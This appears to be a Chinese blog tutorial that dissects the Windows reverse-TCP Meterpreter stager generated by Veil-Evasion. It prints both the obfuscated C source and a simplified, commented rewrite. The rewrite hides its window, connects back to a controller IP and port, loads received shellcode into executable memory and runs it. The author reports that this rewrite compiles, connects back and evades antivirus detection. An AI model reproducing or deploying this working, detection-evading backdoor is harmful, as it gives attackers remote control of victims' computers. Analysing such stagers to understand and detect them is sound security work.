簡單分析Veil-Evasion生成的攻擊載荷c/meterpreter/recv_tcp的被控端程式碼
簡單分析Veil-Evasion生成的攻擊載荷c/meterpreter/rev_tcp的被控端程式碼
Veil-Evasion簡介
Veil-Evasion是Veil專案(專案地址https://github.com/Veil-Framework/Veil)中的一個工具,用各種不同的語言生成攻擊載荷,然後通過編譯免殺,繞過防毒軟體。這是一個免殺工具,還提供了一些加殼程式。
Veil專案中還有一個工具,是Veil-Ordnance。這個工具可以用來生成shellcode,還有一個xor編碼器,但我沒怎麼用過。
簡單分析攻擊載荷c/meterpreter/rev_tcp的被控端程式碼
從github上下載Veil 3.0後,依照github上的指導進行安裝,然後執行安裝目錄下名為Veil.py
c/meterpreter/recv_tcp
這個payload,然後可以用metasploit來進行驗證。
Veil會生成被控端的程式碼,這是個反向shell,被控端需要主動連線攻擊機。
我的Kali攻擊機的IP是192.168.56.102,使用5110埠(TCP)作為監聽埠。
剛開始我們看到的C語言原始碼是這個樣子的:
這個程式碼看來是經過混淆的,程式碼格式和變數名都非常“亂”。
我們先對程式碼進行格式化,得到稍微能看一點的原始碼:
#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <math.h>
#include <stdarg.h>
char* ELPhvnk(const char *t)
{
int length= strlen(t);
int i; char* t2 = (char*)malloc ((length+1) * sizeof(char));
for(i=0;i<length;i++) {
t2[(length-1)-i]=t[i];
}
t2[length] = '\0';
return t2;
}
char* oxImsmwTbcn(char* s)
{
char *result = malloc(strlen(s)*2+1);
int i;
for (i=0; i<strlen(s)*2+1; i++) {
result[i] = s[i/2]; result[i+1]=s[i/2];
}
result[i] = '\0';
return result;
}
void cvNGKT() {
WORD XWPJfalPF = MAKEWORD((0*4+2), (0*4+2));
WSADATA diDuQXNFmNZTv;
if (WSAStartup(XWPJfalPF, &diDuQXNFmNZTv) < 0) {
WSACleanup();
exit(1);
}
}
char* IrhXxkpgdSirgmd() {
char *VTYrQkpq = ELPhvnk("dMjybHyCDGdyDYHjFxRJHePOysgMIrdtsPIJACQLjwQwMMaEHV");
return strstr( VTYrQkpq, "s" );
}
void JQQYIn(SOCKET dQQjjbD) {
closesocket(dQQjjbD);
WSACleanup();
exit(1);
}
char* HdzfoS() {
char NVGmZE[2940] = "xgqPMqbqLgbqKnTGxNOhRSTrPdNBDUuKKgxnvyybPjiAxSWLNg";
char *lCUrNPHXpM = strupr(NVGmZE);
return strlwr(lCUrNPHXpM);
}
int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl) {
int slfkmklsDSA=0;
int rcAmwSVM=0;
void * startb = mngpZHDHPakA;
while (rcAmwSVM < xMumRzycXl) {
slfkmklsDSA = recv(aNTeaiCAXmaMhX, (char *)startb, xMumRzycXl - rcAmwSVM, 0);
startb += slfkmklsDSA;
rcAmwSVM += slfkmklsDSA;
if (slfkmklsDSA == SOCKET_ERROR)
JQQYIn(aNTeaiCAXmaMhX);
}
return rcAmwSVM;
}
char* TEOHbyfIXj() {
char irQRqbMDFFOiV[2940], TQJodSedKcBQ[2940/2];
strcpy(irQRqbMDFFOiV,"SrZFbAxiwfQYtzUOXzcJNYrpCduFtWmwnFtzlLXPiOdlEzQfEw");
strcpy(TQJodSedKcBQ,"NMYmTVYYVDWVDLCEBprcyjeoiTZqfbtjDbRUFJXkLDdkXyycss");
return oxImsmwTbcn(strcat( irQRqbMDFFOiV, TQJodSedKcBQ));
}
SOCKET IpYbCHNOV() {
struct hostent * CADnJpvtGkADG;
struct sockaddr_in NCpJvOJAtp;
SOCKET YJZKAxHbFLbgOb;
YJZKAxHbFLbgOb = socket(AF_INET, SOCK_STREAM, 0);
if (YJZKAxHbFLbgOb == INVALID_SOCKET)
JQQYIn(YJZKAxHbFLbgOb);
CADnJpvtGkADG = gethostbyname("192.168.56.102");
if (CADnJpvtGkADG == NULL)
JQQYIn(YJZKAxHbFLbgOb);
memcpy(&NCpJvOJAtp.sin_addr.s_addr, CADnJpvtGkADG->h_addr, CADnJpvtGkADG->h_length);
NCpJvOJAtp.sin_family = AF_INET;
NCpJvOJAtp.sin_port = htons((567*9+7));
if ( connect(YJZKAxHbFLbgOb, (struct sockaddr *)&NCpJvOJAtp, sizeof(NCpJvOJAtp)) )
JQQYIn(YJZKAxHbFLbgOb);
return YJZKAxHbFLbgOb;
}
int main(int argc, char * argv[])
{
ShowWindow( GetConsoleWindow(), SW_HIDE );
ULONG32 GbMtxZMJpvUG;
char * AOnWmVQURLSv;
int i;
char* WRprInF[1160];
void (*LKMoAeoqcSLE)();
for (i = 0; i < 1160; ++i)
WRprInF[i] = malloc (9816);
cvNGKT();
char* GLEsyWODiOETsqn[6];
SOCKET PSWEfTlAWmQjz = IpYbCHNOV();
for (i = 0; i < 6; ++i)
GLEsyWODiOETsqn[i] = malloc (8388);
int MjrRXPBqQGgxTx = recv(PSWEfTlAWmQjz, (char *)&GbMtxZMJpvUG, (4*1+0), 0);
if (MjrRXPBqQGgxTx != (2*2+0) || GbMtxZMJpvUG <= 0)
JQQYIn(PSWEfTlAWmQjz);
AOnWmVQURLSv = VirtualAlloc(0, GbMtxZMJpvUG + (5*1+0), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* OMybsEGA[8773];
for (i=0; i<1160; ++i) {
strcpy(WRprInF[i], IrhXxkpgdSirgmd());
}
if (AOnWmVQURLSv == NULL)
JQQYIn(PSWEfTlAWmQjz);
AOnWmVQURLSv[0] = 0xBF;
memcpy(AOnWmVQURLSv + 1, &PSWEfTlAWmQjz, (4*1+0));
for (i = 0; i < 8773; ++i)
OMybsEGA[i] = malloc (7764);
for (i=0; i<6; ++i){
strcpy(GLEsyWODiOETsqn[i], HdzfoS());
}
MjrRXPBqQGgxTx = PaBVzZ(PSWEfTlAWmQjz, AOnWmVQURLSv + (5*1+0), GbMtxZMJpvUG);
LKMoAeoqcSLE = (void (*)())AOnWmVQURLSv;LKMoAeoqcSLE();
for (i=0; i<8773; ++i) {
strcpy(OMybsEGA[i], TEOHbyfIXj());
}
return 0;
}
用IDE一鍵格式化就能得到這樣的結果,但這段程式碼依然很難讀懂,這些變數名都非常奇怪,而且還有一些莫名其妙的字串操作,實在讓人頭疼。
後來我經過一番探索,發現這些字串的操作完全是多餘的!,後門的基本功能完全不依賴與這些字串操作!!
真正起作用的只要下面這些程式碼,這裡貼出的程式碼我修改了變數名和函式名,讓同學們能看懂,精簡後的原始碼如下:
#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <math.h>
#include <stdarg.h>
/*
* 函式名:startupWSA()
* 作用:初始化WinSock服務
* 備註:對應veil原始程式中的void cvNGKT()函式
*
*/
void startupWSA()
{
WORD wVersionReq = MAKEWORD(2, 2);
WSADATA wsaData;
if (WSAStartup(wVersionReq, &wsaData) < 0) {
WSACleanup();
exit(1);
}
}
/*
* 函式名:closeSocket
* 作用:關閉套接字
* 備註:對應veil原始程式中的void JQQYIn(SOCKET dQQjjbD)函式
*
*/
void closeSocket(SOCKET sock)
{
closesocket(sock);
WSACleanup();
exit(1);
}
/*
* 函式名:recvPayload
* 作用:接受Meterpreter的payload
* 備註:對應veil原始程式的int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl)函式
*
*/
int recvPayload(SOCKET sock, void * payloadBuf, int size)
{
int recvLen=0;
int count=0;
void * startb = payloadBuf;
while (count < size) {
recvLen = recv(sock, (char *)startb, size - count, 0);
startb += recvLen;
count += recvLen;
if (recvLen == SOCKET_ERROR)
closeSocket(sock);
}
return count;
}
/*
* 函式名:createTCPSocket()
* 作用:建立socket套件字
* 備註:對應veil原始程式的SOCKET IpYbCHNOV()函式
*
*/
SOCKET createTCPSocket()
{
struct hostent * host;
struct sockaddr_in addr;
SOCKET sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET)
closeSocket(sock);
host = gethostbyname("192.168.56.102"); //控制端的IP地址
if (host == NULL)
closeSocket(sock);
memcpy(&addr.sin_addr.s_addr, host->h_addr, host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons((5110)); //控制端的埠號
if ( connect(sock, (struct sockaddr *)&addr, sizeof(addr)) )
closeSocket(sock);
return sock;
}
int main(int argc, char * argv[])
{
ULONG32 size;
char * payload;
void (*pfunc)();
//隱藏命令列視窗
ShowWindow( GetConsoleWindow(), SW_HIDE );
//建立套接字
startupWSA();
SOCKET sock = createTCPSocket();
int recvLen = recv(sock, (char *)&size, 4, 0);
if (recvLen != 4 || size <= 0)
closeSocket(sock);
//為payload申請空間
payload = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (payload == NULL)
closeSocket(sock);
payload[0] = 0xBF;
memcpy(payload + 1, &sock, 4);
//接收payload並執行
recvLen = recvPayload(sock, payload + 5, size);
pfunc = (void (*)())payload;
pfunc();
return 0;
}
這段精簡化後的程式碼是可以使用的,我們在win7虛擬機器下用mingw編譯這個程式:
執行該程式,成功回連:
我不明白為啥Veil 3.1生成的C原始碼要有多餘的“字串”分配和操作,難道是為了免殺嗎?
提取核心部分的程式碼難道不能免殺嗎?我們來看看:
至少火絨安全查不出來。
放到virustotal上看一下吧,效果還不錯:
我不知道為啥Veil有那麼多“多餘的程式碼”,也許是為了免殺吧。雖然我沒法獨立寫後門程式,對Veil生成的C原始碼瞭解個大概還是沒問題的,可還有許多細節沒有弄明白。